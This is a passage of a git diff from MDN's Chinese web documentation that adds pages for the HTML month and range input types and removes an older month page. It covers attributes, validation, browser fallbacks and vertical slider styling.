{{ EmbedLiveSample('Handling_browser_support', 600, 100) }}

+ +

If you try submitting it, you'll see that the browser now displays an error message (and highlights the input as invalid) if your entry doesn't match the pattern nnnn-nn, where n is a number from 0 to 9. Of course, this doesn't stop people from entering invalid dates, or incorrectly formatted dates that follow the pattern.

+ +

And what user is going to understand the pattern they need to enter the date in?

+ +

We still have a problem.

+ + + +

The best way to deal with dates in forms in a cross-browser way at the moment is to get the user to enter the month and year in separate controls ({{htmlelement("select")}} elements being popular — see below for an implementation), or use JavaScript libraries such as jQuery date picker, and the jQuery timepicker plugin.

+ +

Examples

+ +

In this example we create two sets of UI elements for choosing dates — a native picker created with <input type="month">, and a set of two {{htmlelement("select")}} elements for choosing months/years in older browsers that don't support the native input.

+ +

{{ EmbedLiveSample('Examples', 600, 140) }}

+ +

The HTML looks like so:

+ +
<form>
+  <div class="nativeDatePicker">
+    <label for="month-visit">What Month would you like to visit us?</label>
+    <input type="month" id="month-visit" name="month-visit">
+    <span class="validity"></span>
+  </div>
+  <p class="fallbackLabel">What Month would you like to visit us?</p>
+  <div class="fallbackDatePicker">
+    <div>
+      <span>
+        <label for="month">Month:</label>
+        <select id="month" name="month">
+          <option selected>January</option>
+          <option>February</option>
+          <option>March</option>
+          <option>April</option>
+          <option>May</option>
+          <option>June</option>
+          <option>July</option>
+          <option>August</option>
+          <option>September</option>
+          <option>October</option>
+          <option>November</option>
+          <option>December</option>
+        </select>
+      </span>
+      <span>
+        <label for="year">Year:</label>
+        <select id="year" name="year">
+        </select>
+      </span>
+    </div>
+  </div>
+</form>
+ +

The months are hardcoded (as they are always the same), while the year values are dynamically generated depending on the current year (see the code comments below for detailed explanations of how these functions work.)

+ + + +

The other part of the code that may be of interest is the feature detection code — to detect whether the browser supports <input type="month">, we create a new {{htmlelement("input")}} element, set its type to month, then immediately check what its type is set to — non-supporting browsers will return text, because the date type falls back to type text. If <input type="month"> is not supported, we hide the native picker and show the fallback picker UI ({{htmlelement("select")}}) instead.

+ +
// define variables
+var nativePicker = document.querySelector('.nativeDatePicker');
+var fallbackPicker = document.querySelector('.fallbackDatePicker');
+var fallbackLabel = document.querySelector('.fallbackLabel');
+
+var yearSelect = document.querySelector('#year');
+var monthSelect = document.querySelector('#month');
+
+// hide fallback initially
+fallbackPicker.style.display = 'none';
+fallbackLabel.style.display = 'none';
+
+// test whether a new date input falls back to a text input or not
+var test = document.createElement('input');
+test.type = 'month';
+// if it does, run the code inside the if() {} block
+if(test.type === 'text') {
+  // hide the native picker and show the fallback
+  nativePicker.style.display = 'none';
+  fallbackPicker.style.display = 'block';
+  fallbackLabel.style.display = 'block';
+
+  // populate the years dynamically
+  // (the months are always the same, therefore hardcoded)
+  populateYears();
+}
+
+function populateYears() {
+  // get the current year as a number
+  var date = new Date();
+  var year = date.getFullYear();
+
+  // Make this year, and the 100 years before it available in the year <select>
+  for(var i = 0; i <= 100; i++) {
+    var option = document.createElement('option');
+    option.textContent = year-i;
+    yearSelect.appendChild(option);
+  }
+}
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'forms.html#month-state-(type=month)', '<input type="month">')}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("html.elements.input.input-month")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/html/element/input/range/index.html b/files/zh-cn/web/html/element/input/range/index.html new file mode 100644 index 0000000000..9450c705b2 --- /dev/null +++ b/files/zh-cn/web/html/element/input/range/index.html @@ -0,0 +1,515 @@ +--- +title: +slug: Web/HTML/Element/Input/范围 +tags: + - HTML + - 元素 + - 参考 + - 网页 + - 范围 +translation_of: Web/HTML/Element/input/range +--- +
{{HTMLRef}}
+ +

{{HTMLElement("input")}}  range 类型的元素允许用户指定一个数值,该数值必须不小于给定值,并且不得大于另一个给定值。但是,精确值并不重要。通常使用滑块或拨号控件而不是像 {{HTMLElement('input/number', 'number')}}  输入类型这样的文本输入框来表示。 由于这种小部件不精确,因此除非控件的确切值不重要,否则通常不应使用它。

+ +
{{EmbedInteractiveExample("pages/tabbed/input-range.html", "tabbed-standard")}}
+ + + +

如果用户的浏览器不支持类型范围,它将回退并将其视为 {{HTMLElement('input/text', 'text')}} 输入。

+ + + + + + + + + + + + + + + + + + + + + + + + +
{{anch("Value")}}A {{domxref("DOMString")}} containing the string representation of the selected numeric value; use {{domxref("HTMLInputElement.valueAsNumber", "valueAsNumber")}} to get the value as a {{jsxref("Number")}}.
事件{{event("change")}} and {{event("input")}}
支持的常用属性{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("max", "input")}}, {{htmlattrxref("min", "input")}}, and {{htmlattrxref("step", "input")}}
IDL属性list, value, 和 valueAsNumber
方法{{domxref("HTMLInputElement.stepDown", "stepDown()")}} and {{domxref("HTMLInputElement.stepUp", "stepUp()")}}
+ +

验证方式

+ +

没有可用的模式验证。 但是,执行以下形式的自动验证:

+ +
    +
  • 如果将 {{htmlattrxref("value", "input")}} 设置为无法转换为有效浮点数的值,则验证将失败,因为输入正遭受错误的输入。
  • +
  • 该值不得小于 {{htmlattrxref("min", "input")}}. 默认值为0。
  • +
  • 该值将不大于 {{htmlattrxref("max", "input")}}.  默认值为100。
  • +
  • 该值将是 {{htmlattrxref("step", "input")}}.  预设值为1。
  • +
+ +

+ +

{{htmlattrxref("value", "input")}} 属性包含一个 {{domxref("DOMString")}} 该属性包含所选数字的字符串表示形式。 该值绝不能为空字符串 ("").  默认值介于指定的最小值和最大值之间,除非最大值实际上小于最小值,在这种情况下,默认值设置 min 属性的值。确定默认值的算法是:

+ +
defaultValue = (rangeElem.max < rangeElem.min) ? rangeElem.min
+               : rangeElem.min + (rangeElem.max - rangeElem.min)/2;
+ +

如果尝试将值设置为小于最小值,则将其设置为最小值。 类似地,尝试将值设置为大于最大值会导致将其设置为最大值。

+ +

其他属性

+ +

除了所有 {{HTMLElement("input")}} 元素共享的属性之外,范围输入还提供以下属性:

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
属性描述
{{anch("list")}}<datalist>元素的ID,其中包含可选的预定义选项
{{anch("max")}}最大允许值
{{anch("min")}}最小允许值
{{anch("step")}}步进间隔,用于用户界面和验证目的
+ +

{{page("/en-US/docs/Web/HTML/Element/input/text", "list", 0, 1, 2)}}

+ +

有关在支持的浏览器中如何表示范围中的选项的示例,请参见下面的带散列的标记范围控制

+ +

{{htmlattrdef("max")}}

+ +

允许值范围内的最大值。 如果输入到元素中的{{htmlattrxref("value", "input")}}超过此值,则元素将无法通过约束验证。  如果 max 属性的值不是数字,则元素没有最大值。

+ +

此值必须大于或等于min属性的值。 请参见 HTML max属性。

+ +

{{htmlattrdef("min")}}

+ +

允许值范围内的最小值。 如果元素的{{htmlattrxref("value", "input")}} 小于此值,则该元素将无法通过 约束验证。如果为min 指定的值不是有效数字,则输入没有最小值。

+ +

该值必须小于或等于max属性的值。 请参见 HTML min属性

+ +

{{htmlattrdef("step")}}

+ +

{{page("/en-US/docs/Web/HTML/Element/input/number", "step-include")}}

+ +

range 输入的默认步进值为1,除非步进基数不是整数,否则仅允许输入整数;否则,默认值为1。 例如,如果将 min 设置为-10并将 value 设置为1.5,则1的 step 将只允许正方向上的值为1.5、2.5、3.5,...,以及-0.5,-1.5,-2.5等。 ..朝负面方向发展。 请参阅HTML step 属性

+ +

非标准属性

+ + + + + + + + + + + + + + +
属性描述
{{anch("orient")}}设置范围滑块的方向。 仅限Firefox .
+ +
+
{{htmlattrdef("orient")}} {{non-standard_inline}}
+
类似于-moz-orient非标准CSS属性会影响 {{htmlelement('progress')}} 和 {{htmlelement('meter')}} 元素, orient 属性定义范围滑块的方向。 值包括 horizontal, 表示范围是水平呈现, 和 vertical, 其中范围是垂直呈现)。
+
+ +
+

注意:以下输入属性不适用于输入范围:accept, alt, checked, dirname, formaction, formenctype, formmethod, formnovalidate, formtarget,高度, maxlength, minlength, multiple, pattern, placeholder, readonly, required, size, src, 和 width. 这些属性中的任何一个(如果包含)将被忽略。

+
+ +

例子

+ +

虽然 number 类型允许用户输入带有可选约束的数字,以强制其值介于最小值和最大值之间,但它确实要求他们输入特定值。 range 输入类型使您可以在用户甚至不关心或不知道所选的特定数字值是什么的情况下,向用户询问一个值。

+ +

常用范围输入的一些情况示例:

+ +
    +
  • 音频控件(例如音量和平衡)或过滤器控件。
  • +
  • 颜色配置控件,例如颜色通道,透明度,亮度等。
  • +
  • 游戏配置控件,例如难度,可见性距离,世界范围等等。
  • +
  • 密码管理员生成的密码的密码长度。
  • +
+ +

通常,如果用户对最小值和最大值之间的距离的百分比比实际数字本身更感兴趣,则范围输入是一个不错的选择。 例如,在家庭立体声音量控制的情况下,用户通常认为“将音量设置为最大音量的一半”而不是“将音量设置为0.5”。

+ +

指定最小和最大

+ +

默认情况下,最小值为0,最大值为100。如果这不是您想要的值,则可以通过更改 {{htmlattrxref("min", "input")}} 和/或 {{htmlattrxref("max", "input")}} 属性。 这些可以是任何浮点值。

+ +

例如,要要求用户输入介于-10和10之间的值,可以使用:

+ +
<input type="range" min="-10" max="10">
+ +

{{EmbedLiveSample("Specifying_the_minimum_and_maximum", 600, 40)}}

+ +

设置值的粒度

+ +

默认情况下,粒度为1,表示该值始终是整数。 您可以更改 {{htmlattrxref("step")}} 属性以控制粒度。 例如,如果您需要一个介于5到10之间的值(精确到两位小数),则应将 step 的值设置为0.01:

+ +
+
<input type="range" min="5" max="10" step="0.01">
+ +

{{EmbedLiveSample("Granularity_sample1", 600, 40)}}

+
+ +

如果要接受任何值而不论扩展到小数点后多少位,都可以为{{htmlattrxref("step", "input")}} 属性指定 any 数值。

+ +
+
<input type="range" min="0" max="3.14" step="any">
+ +

{{EmbedLiveSample("Granularity_sample2", 600, 40)}}

+ +

该示例使用户可以选择0到π之间的任何值,而对所选值的小数部分没有任何限制。

+
+ +

添加井号和标签

+ +

HTML规范使浏览器在如何显示范围控件方面具有一定的灵活性。 在散列标记和较小程度上的标签方面,这种灵活性最明显。 该规范描述了如何使用 {{htmlattrxref("list", "input")}} 属性和 {{HTMLElement("datalist")}} 元素将自定义点添加到范围控件,但没有任何要求或 甚至是沿控件长度的标准化哈希或刻度线的建议。

+ +

范围控制模型

+ +

由于浏览器具有这种灵活性,并且迄今为止都不支持HTML为范围控件定义的所有功能,因此以下是一些模型,以向您展示在支持它们的浏览器中在macOS上可以得到的功能。

+ +
无装饰的范围控制
+ +

如果不指定 {{htmlattrxref("list", "input")}} 属性,或者浏览器不支持该属性,则会得到此结果。

+ + + + + + + + + + + + + + + + + + + + + +
HTML例子
+
+<input type="range">
+
屏幕截图
Screenshot of a plain slider control on macOS
留存
{{EmbedLiveSample("An_unadorned_range_control",200,55,"","", "nobutton")}}
+ +
带散列标记的范围控件
+ +

此范围控件使用的 list 属性指定{{HTMLElement("datalist")}} 的ID,该ID定义了控件上的一系列带散列的标记。 其中有11个,因此在0%和每个10%标记处都有一个。 每个点均使用 {{HTMLElement("option")}} 元素表示,其元素 {{htmlattrxref("value", "option")}} 设置为应绘制标记的范围值。

+ + + + + + + + + + + + + + + + + + + + + +
HTML例子
+
+<input type="range" list="tickmarks">
+
+<datalist id="tickmarks">
+  <option value="0"></option>
+  <option value="10"></option>
+  <option value="20"></option>
+  <option value="30"></option>
+  <option value="40"></option>
+  <option value="50"></option>
+  <option value="60"></option>
+  <option value="70"></option>
+  <option value="80"></option>
+  <option value="90"></option>
+  <option value="100"></option>
+</datalist>
+
+
屏幕截图
Screenshot of a plain slider control on macOS
留存
{{EmbedLiveSample("A_range_control_with_hash_marks_and_labels",200,55,"","", "nobutton")}}
+ +
具有散列标记和标签的范围控件
+ +

您可以通过向 {{htmlattrxref("label", "option")}} 元素添加 {{HTMLElement("option")}} 属性来将标签添加到您的范围控件中,这些元素对应于您希望为其添加标签的标记。

+ + + + + + + + + + + + + + + + + + + + + +
HTML例子
+
+<input type="range" list="tickmarks">
+
+<datalist id="tickmarks">
+  <option value="0" label="0%"></option>
+  <option value="10"></option>
+  <option value="20"></option>
+  <option value="30"></option>
+  <option value="40"></option>
+  <option value="50" label="50%"></option>
+  <option value="60"></option>
+  <option value="70"></option>
+  <option value="80"></option>
+  <option value="90"></option>
+  <option value="100" label="100%"></option>
+</datalist>
+
+
屏幕截图
Screenshot of a plain slider control on macOS
留存
{{EmbedLiveSample("A_range_control_with_hash_marks_and_labels",200,55,"","", "nobutton")}}
+ +
+

注意: 目前没有浏览器完全支持这些特性。例如,Firefox根本不支持散列标记和标签,而Chrome支持散列标记,但不支持标签。Chrome的66版本(66.0.3359.181)支持标签,但是 {{htmlelement("datalist")}} 标签必须使用CSS样式,因为它的 {{cssxref("display")}}属性默认设置为 none ,隐藏了标签。

+
+ +

改变方向

+ +
+

使旋钮向左和向右滑动。 如果支持,我们将能够声明垂直高度,并通过声明高度值大于宽度值来使用CSS上下滑动。 任何主要的浏览器实际上尚未实现此功能。(请参阅{{bug(981916)}}, Chrome bug 341071)。也许它仍在讨论中。

+ +

同时,我们可以通过使用CSS变换旋转范围来使范围垂直,或者通过使用各自的方法定位每个浏览器引擎,包括通过将 {{cssxref('appearance')}} 设置为 slider-vertical, 在Firefox中使用非标准的orient 属性,或通过更改Internet Explorer和Edge的文本方向。

+ +

考虑以下范围控制:

+ +
+
<input type="range" id="volume" min="0" max="11" value="7" step="1">
+
+ +

{{EmbedLiveSample("Orientation_sample1", 200, 200, "https://mdn.mozillademos.org/files/14983/Orientation_sample1.png")}}

+ +

此控件是水平的(至少对大多数主要浏览器(至少,如果不是全部);其他控件可能有所不同)。

+ +

标准

+ +

根据规范,使其垂直需要添加CSS来更改控件的尺寸,以使其比宽度高,如下所示:

+ +
+

CSS

+ +
#volume {
+  height: 150px;
+  width: 50px;
+}
+ +

HTML

+ +
<input type="range" id="volume" min="0" max="11" value="7" step="1">
+ +

结果

+ +

{{EmbedLiveSample("Orientation_sample2", 200, 200, "https://mdn.mozillademos.org/files/14985/Orientation_sample2.png")}}

+
+
+ +

不幸的是,当前没有主流浏览器直接支持垂直范围控件。

+ +

变换:旋转(-90deg)

+ +

但是,您可以通过在侧面绘制水平范围控件来创建垂直范围控件。 最简单的方法是使用CSS:通过应用 {{cssxref("transform")}} 旋转元素,可以使其垂直。 让我们来看看。

+ +

HTML

+ +

需要更新HTML,以将 {{HTMLElement("input")}} 包裹在 {{HTMLElement("div")}} 中,以便我们在执行转换后纠正布局(因为转换不会自动影响 页面的布局):

+ +
<div class="slider-wrapper">
+  <input type="range" min="0" max="11" value="7" step="1">
+</div>
+ +

CSS

+ +

现在我们需要一些CSS。 首先是包装器本身的CSS; 这指定了我们想要的显示模式和大小,以便页面正确布局; 本质上,它是为滑块保留页面的区域,以便旋转的滑块适合保留的空间而不会造成混乱。

+ +
.slider-wrapper {
+  display: inline-block;
+  width: 20px;
+  height: 150px;
+  padding: 0;
+}
+
+ +

然后是保留空间中 <input> 元素的样式信息:

+ +
.slider-wrapper input {
+  width: 150px;
+  height: 20px;
+  margin: 0;
+  transform-origin: 75px 75px;
+  transform: rotate(-90deg);
+}
+ +

控件的大小设置为150像素长x 20像素高。 边距设置为0, {{cssxref("transform-origin")}} 移至滑块旋转通过的空间的中间; 由于滑块配置为150像素宽,因此它将旋转通过每边150像素的框。 在每个轴上将原点偏移75像素,这意味着我们将围绕该空间的中心旋转。 最后,我们将逆时针旋转90°。 结果:旋转一个范围输入,因此最大值在顶部,最小值在底部。

+ +

{{EmbedLiveSample("transform_rotate-90deg", 200, 200, "https://mdn.mozillademos.org/files/14987/Orientation_sample3.png")}}

+ +

外观特性

+ +

{{cssxref('appearance')}}属性具有非标准值的slider-vertical可以使滑块垂直。

+ +

HTML

+ +

我们使用与前面的示例相同的HTML:

+ +
<input type="range" min="0" max="11" value="7" step="1">
+
+ +

CSS

+ +

我们仅针对具有范围类型的输入:

+ +
input[type="range"] {
+  -webkit-appearance: slider-vertical;
+}
+ +

{{EmbedLiveSample("appearance_property", 200, 200)}}

+ +

定向属性

+ +

仅在Firefox中,有一个非标准的 orient 属性。

+ +

HTML

+ +

使用与前面示例类似的HTML,我们添加属性值为 vertical:

+ +
<input type="range" min="0" max="11" value="7" step="1" orient="vertical">
+
+ +

{{EmbedLiveSample("orient_attribute", 200, 200)}}

+ +

写作模式:bt-lr;

+ +

The {{cssxref('writing-mode')}} 属性通常不应用于出于国际化或本地化目的更改文本方向,而可以用于特殊效果。

+ +

HTML

+ +

我们使用与前面的示例相同的HTML:

+ +
<input type="range" min="0" max="11" value="7" step="1">
+
+ +

CSS

+ +

我们仅以范围为类型的输入作为目标,将写入模式从默认更改为 bt-lr, 或从下至上和从左至右:

+ +
input[type="range"] {
+  writing-mode: bt-lr;
+}
+ +

{{EmbedLiveSample("writing-mode_bt-lr", 200, 200)}}

+ +

放在一起

+ +

由于上述每个示例都在不同的浏览器中工作,因此您可以将所有示例放在一个示例中,以使其在跨浏览器中工作:

+ +

HTML

+ +

对于Firefox,我们将orient属性的值保持为vertical:

+ +
<input type="range" min="0" max="11" value="7" step="1" orient="vertical">
+
+ +

CSS

+ +

对于Edge和Internet Explorer,我们仅将输入类型作为目标,将写入模式从默认更改为 bt-lr, 或者从下至上,从左至右,然后添加 -webkit-appearance: slider-vertical用于所有基于-webkit的浏览器:

+ +
input[type="range"] {
+  writing-mode: bt-lr;
+  -webkit-appearance: slider-vertical;
+}
+ +

{{EmbedLiveSample("Putting_it_all_together", 200, 200)}}

+ +

技术指标

+ + + + + + + + + + + + + + + + + + + + + +
规格状态评论
{{SpecName('HTML WHATWG', 'forms.html#range-state-(type=range)', '<input type="range">')}}{{Spec2('HTML WHATWG')}}最初的定义
{{SpecName('HTML5.1', 'sec-forms.html#range-state-typerange', '<input type="range">')}}{{Spec2('HTML5.1')}}最初的定义
+ +

浏览器兼容性

+ + + +

{{Compat("html.elements.input.input-range")}}

+ +

另请参考

+ + diff --git "a/files/zh-cn/web/html/element/input/\346\234\210\344\273\275/index.html" "b/files/zh-cn/web/html/element/input/\346\234\210\344\273\275/index.html" deleted file mode 100644 index 9a2fbb6f2a..0000000000 --- "a/files/zh-cn/web/html/element/input/\346\234\210\344\273\275/index.html" +++ /dev/null @@ -1,457 +0,0 @@ ---- -title: -slug: Web/HTML/Element/Input/月份 -tags: - - HTML - - Input - - 表单 -translation_of: Web/HTML/Element/input/month ---- -

{{HTMLRef}}

- -

类型为 month 的 {{htmlelement("input")}} 可以让你容易地创建一个方便输入年份或月份的一个 {{htmlelement("input")}}。

- -
{{EmbedInteractiveExample("pages/tabbed/input-month.html", "tabbed-shorter")}}
- - - -

这个控件在各个浏览器支持都不同,目前是支持部分浏览器。在桌面上支持情况为 Chrome/Opera 和 Edge 。在移动端支持大部分现代浏览器。在其他浏览器中,这个控件会被优雅的降级到<input type="text">.

- -

对于那些使用不支持的浏览器的用户,Chrome / Opera月份控制如下图所示。单击右侧的向下箭头会显示日期选择器,以便您选择日期;你必须手动输入时间。

- -

- -

Edge的 month 看起来像这样的:

- -

- - - - - - - - - - - - - - - - - - - - - - - - -
{{anch("Value")}}一个 {{domxref("DOMString")}} 代表一个月,一年,或者是空。
Events{{event("change")}} 和 {{event("input")}}.
Supported Common Attributes{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("readonly", "input")}}, 和 {{htmlattrxref("step", "input")}}.
IDL attributesvalue.
Methods{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.stepDown", "stepDown()")}}, {{domxref("HTMLInputElement.stepUp", "stepUp()")}}.
- -

Value

- -

{{domxref("DOMString")}} 表示输入输入的月份和年份的值, in the form YYYY-MM (four or more digit year, then a hyphen ("-"), followed by the two-digit month). The format of the month string used by this input type is described in {{SectionOnPage("/en-US/docs/Web/HTML/Date_and_time_formats", "Format of a valid local month string")}}.

- -

你可以设置一个默认的属性值插入到 {{htmlattrxref("value", "input")}} 里, 像这样:

- -
<label for="bday-month">What month were you both in?</label>
-<input id="bday-month" type="month" name="bday-month" value="2017-06">
- -

{{EmbedLiveSample('value-example-1', 600, 60)}}

- -

需要注意的是显示的如期格式不同于实际的value — 日期显示的格式将根据用户的操作系统的时区设置, 而时间的格式通常会格式化为 yyyy-MM

- -

在向服务器提交上述值的时候他们看起来像这样:bday-month=1978-06.

- -

你也可以使用JavaScript 的 {{domxref("HTMLInputElement.value")}} 来设置日期的值 。例如:

- -
var monthControl = document.querySelector('input[type="month"]');
-monthControl.value = '1978-06';
- -

{{EmbedLiveSample("value-example-2", 600, 60)}}

- -

 

- -

Additional attributes

- -

In addition to the attributes common to {{HTMLElement("input")}} elements, month inputs offer the following attributes:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
AttributeDescription
{{anch("max")}}The latest year and month to accept as a valid input
{{anch("min")}}The earliest year and month to accept as a valid input
{{anch("readonly")}}A Boolean which, if present, indicates that the input's value can't be edited
{{anch("step")}}A stepping interval to use when incrementing and decrementing the value of the input field
- -

{{htmlattrdef("max")}}

- -

The latest year and month, in the string format discussed in the {{anch("Value")}} section above, to accept. If the {{htmlattrxref("value", "input")}} entered into the element exceeds this, the element fails constraint validation. If the value of the max attribute isn't a valid string in "yyyy-MM" format, then the element has no maximum value.

- -

This value must specify a year-month pairing later than or equal to the one specified by the min attribute.

- -

{{htmlattrdef("min")}}

- -

The latest year and month to accept, in the same "yyyy-MM" format described above. If the {{htmlattrxref("value", "input")}} of the element is less than this, the element fails constraint validation. If a value is specified for min that isn't a valid year and month string, the input has no minimum value.

- -

This value must be a year-month pairing which is earlier than or equal to the one specified by the max attribute.

- -

{{htmlattrdef("readonly")}}

- -

A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed from JavaScript code that directly sets the value of the {{domxref("HTMLInputElement.value")}} property.

- -
-

Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified.

-
- -

{{htmlattrdef("step")}}

- -

{{page("/en-US/docs/Web/HTML/Element/input/number", "step-include")}}

- -

For month inputs, the value of step is given in months, with a scaling factor of 1 (since the underlying numeric value is also in months). The default value of step is 1 month.

- -

 

- -

Using month inputs

- -

与日期相关的输入乍一看很方便,它们提供了一个简单的用户界面来选择日期,并且它们将发送到服务器的数据格式规范化,而不考虑用户的本地环境。但是, 由于浏览器支持有限,所以这个 <input type="month">还是存在兼容性问题。

- -

我们在往下看更多关于<input type="month">基础和更多的高级的用法

- -

, 下面将讲有关缓解浏览器支持问题的建议 (请参阅{{anch("Handling browser support")}}).

- -

Basic uses of month

- -

最简单的<input type="month"> 涉及到基础的 <input> 和 {{htmlelement("label")}} 的元素组合, 像下面这样:

- -
<form>
-  <label for="bday-month">What month were you both in?</label>
-  <input id="bday-month" type="month" name="bday-month">
-</form>
- -

{{ EmbedLiveSample('Basic_uses_of_month', 600, 40) }}

- -

设置最长和最短日期

- -

你可以使用{{htmlattrxref("min", "input")}} 和 {{htmlattrxref("max", "input")}} 属性 来限制用户选择日期. 在下列的例子中我们设置最小月份1900-01 最大月份到 2017-08:

- -
<form>
-  <label for="bday-month">What month were you both in?</label>
-  <input id="bday-month" type="month" name="bday-month"
-         min="1900-01" max="2017-08">
-</form>
- -

{{ EmbedLiveSample('Setting_maximum_and_minimum_dates', 600, 40) }}

- -

结果是这样:

- -
    -
  • 月份只有在2017年八月份到1900年一月可以选择 — 在这个控件里这个范围以外的月份不能滚动选择。
  • -
  • Depending on what browser you are using, you might find that times outside the specified values might not be selectable in the time picker (e.g. Edge), or invalid (see {{anch("Validation")}}) but still available (e.g. Chrome).
  • -
- -
-

Note: You should be able to use the {{htmlattrxref("step", "input")}} attribute to vary the number of days jumped each time the date is incremented (e.g. maybe you only want to make Saturdays selectable). However, this does not seem to work effectively in any implementation at the time of writing.

-
- -

Controlling input size

- -

<input type="month"> doesn't support form sizing attributes such as {{htmlattrxref("size", "input")}}. You'll have to resort to CSS for sizing needs.

- -

Validation

- -

By default, <input type="month"> does not apply any validation to entered values. The UI implementations generally don't let you enter anything that isn't a date — which is helpful — but you can still not fill in a date and submit, or enter an invalid date (e.g. the 32th of April).

- -

You can use {{htmlattrxref("min", "input")}} and {{htmlattrxref("max", "input")}} to restrict the available dates (see anch("Setting maximum and minimum dates")), and in addition use the {{htmlattrxref("required", "input")}} attribute to make filling in the date mandatory. As a result, supporting browsers will display an error if you try to submit a date that is outside the set bounds, or an empty date field.

- -

Let's look at an example — here we've set minimum and maximum dates, and also made the field required:

- -
<form>
-  <div>
-    <label for="month">What Month would you like to visit us? (Summer months only.)</label>
-    <input id="month" type="month" name="month"
-           min="2017-06" max="2017-09" required>
-    <span class="validity"></span>
-  </div>
-  <div>
-      <input type="submit" value="Submit form">
-  </div>
-</form>
- -

If you try to submit the form with an incomplete date (or with a date outside the set bounds), the browser displays an error. Try playing with the example now:

- -

{{ EmbedLiveSample('Validation', 600, 120) }}

- -

Here's'a screenshot for those of you who aren't using a supporting browser:

- -

- -

Here's the CSS used in the above example. Here we make use of the {{cssxref(":valid")}} and {{cssxref(":invalid")}} CSS properties to style the input based on whether or not the current value is valid. We had to put the icons on a {{htmlelement("span")}} next to the input, not on the input itself, because in Chrome the generated content is placed inside the form control, and can't be styled or shown effectively.

- -
div {
-  margin-bottom: 10px;
-  position: relative;
-}
-
-input[type="number"] {
-  width: 100px;
-}
-
-input + span {
-  padding-right: 30px;
-}
-
-input:invalid+span:after {
-  position: absolute;
-  content: '✖';
-  padding-left: 5px;
-}
-
-input:valid+span:after {
-  position: absolute;
-  content: '✓';
-  padding-left: 5px;
-}
- -
-

Important: HTML form validation is not a substitute for scripts that ensure that the entered data is in the proper format.  It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to simply bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data is submitted (or data which is too large, of the wrong type, and so forth).

-
- -

Handling browser support

- -

As mentioned above, the major problem with using date inputs at the time of writing is browser support — only Chrome/Opera and Edge support it on desktop, and most modern browsers on mobile. As an example, the month picker on Chrome for Android looks like this:

- -

- -

Non-supporting browsers gracefully degrade to a text input, but this creates problems both in terms of consistency of user interface (the presented control will be different), and data handling.

- -

The second problem is the most serious — as we mentioned earlier, with a month input the actual value is always normalized to the format yyyy-mm. With a text input on the other hand, by default the browser has no recognition of what format the date should be in, and there multiple ways in which people write dates, for example:

- -
    -
  • mmyyyy
  • -
  • mm/yyyy
  • -
  • mm-yyyy
  • -
  • yyyy-mm
  • -
  • etc.
  • -
- -

One way around this is to put a {{htmlattrxref("pattern", "input")}} attribute on your month input. Even though the month input doesn't use it, the text input fallback will. For example, try viewing the following demo in a non-supporting browser:

- -
<form>
-  <div>
-    <label for="month">What Month would you like to visit us? (Summer months only, yyyy-mm)</label>
-    <input id="month" type="month" name="month"
-           min="2017-06" max="2017-09" required
-           pattern="[0-9]{4}-[0-9]{2}">
-    <span class="validity"></span>
-  </div>
-  <div>
-      <input type="submit" value="Submit form">
-  </div>
-</form>
- -

{{ EmbedLiveSample('Handling_browser_support', 600, 100) }}

- -

If you try submitting it, you'll see that the browser now displays an error message (and highlights the input as invalid) if your entry doesn't match the pattern nnnn-nn, where n is a number from 0 to 9. Of course, this doesn't stop people from entering invalid dates, or incorrectly formatted dates that follow the pattern.

- -

And what user is going to understand the pattern they need to enter the date in?

- -

We still have a problem.

- - - -

The best way to deal with dates in forms in a cross-browser way at the moment is to get the user to enter the month and year in separate controls ({{htmlelement("select")}} elements being popular — see below for an implementation), or use JavaScript libraries such as jQuery date picker, and the jQuery timepicker plugin.

- -

Examples

- -

In this example we create two sets of UI elements for choosing dates — a native picker created with <input type="month">, and a set of two {{htmlelement("select")}} elements for choosing months/years in older browsers that don't support the native input.

- -

{{ EmbedLiveSample('Examples', 600, 140) }}

- -

The HTML looks like so:

- -
<form>
-  <div class="nativeDatePicker">
-    <label for="month-visit">What Month would you like to visit us?</label>
-    <input type="month" id="month-visit" name="month-visit">
-    <span class="validity"></span>
-  </div>
-  <p class="fallbackLabel">What Month would you like to visit us?</p>
-  <div class="fallbackDatePicker">
-    <div>
-      <span>
-        <label for="month">Month:</label>
-        <select id="month" name="month">
-          <option selected>January</option>
-          <option>February</option>
-          <option>March</option>
-          <option>April</option>
-          <option>May</option>
-          <option>June</option>
-          <option>July</option>
-          <option>August</option>
-          <option>September</option>
-          <option>October</option>
-          <option>November</option>
-          <option>December</option>
-        </select>
-      </span>
-      <span>
-        <label for="year">Year:</label>
-        <select id="year" name="year">
-        </select>
-      </span>
-    </div>
-  </div>
-</form>
- -

The months are hardcoded (as they are always the same), while the year values are dynamically generated depending on the current year (see the code comments below for detailed explanations of how these functions work.)

- - - -

The other part of the code that may be of interest is the feature detection code — to detect whether the browser supports <input type="month">, we create a new {{htmlelement("input")}} element, set its type to month, then immediately check what its type is set to — non-supporting browsers will return text, because the date type falls back to type text. If <input type="month"> is not supported, we hide the native picker and show the fallback picker UI ({{htmlelement("select")}}) instead.

- -
// define variables
-var nativePicker = document.querySelector('.nativeDatePicker');
-var fallbackPicker = document.querySelector('.fallbackDatePicker');
-var fallbackLabel = document.querySelector('.fallbackLabel');
-
-var yearSelect = document.querySelector('#year');
-var monthSelect = document.querySelector('#month');
-
-// hide fallback initially
-fallbackPicker.style.display = 'none';
-fallbackLabel.style.display = 'none';
-
-// test whether a new date input falls back to a text input or not
-var test = document.createElement('input');
-test.type = 'month';
-// if it does, run the code inside the if() {} block
-if(test.type === 'text') {
-  // hide the native picker and show the fallback
-  nativePicker.style.display = 'none';
-  fallbackPicker.style.display = 'block';
-  fallbackLabel.style.display = 'block';
-
-  // populate the years dynamically
-  // (the months are always the same, therefore hardcoded)
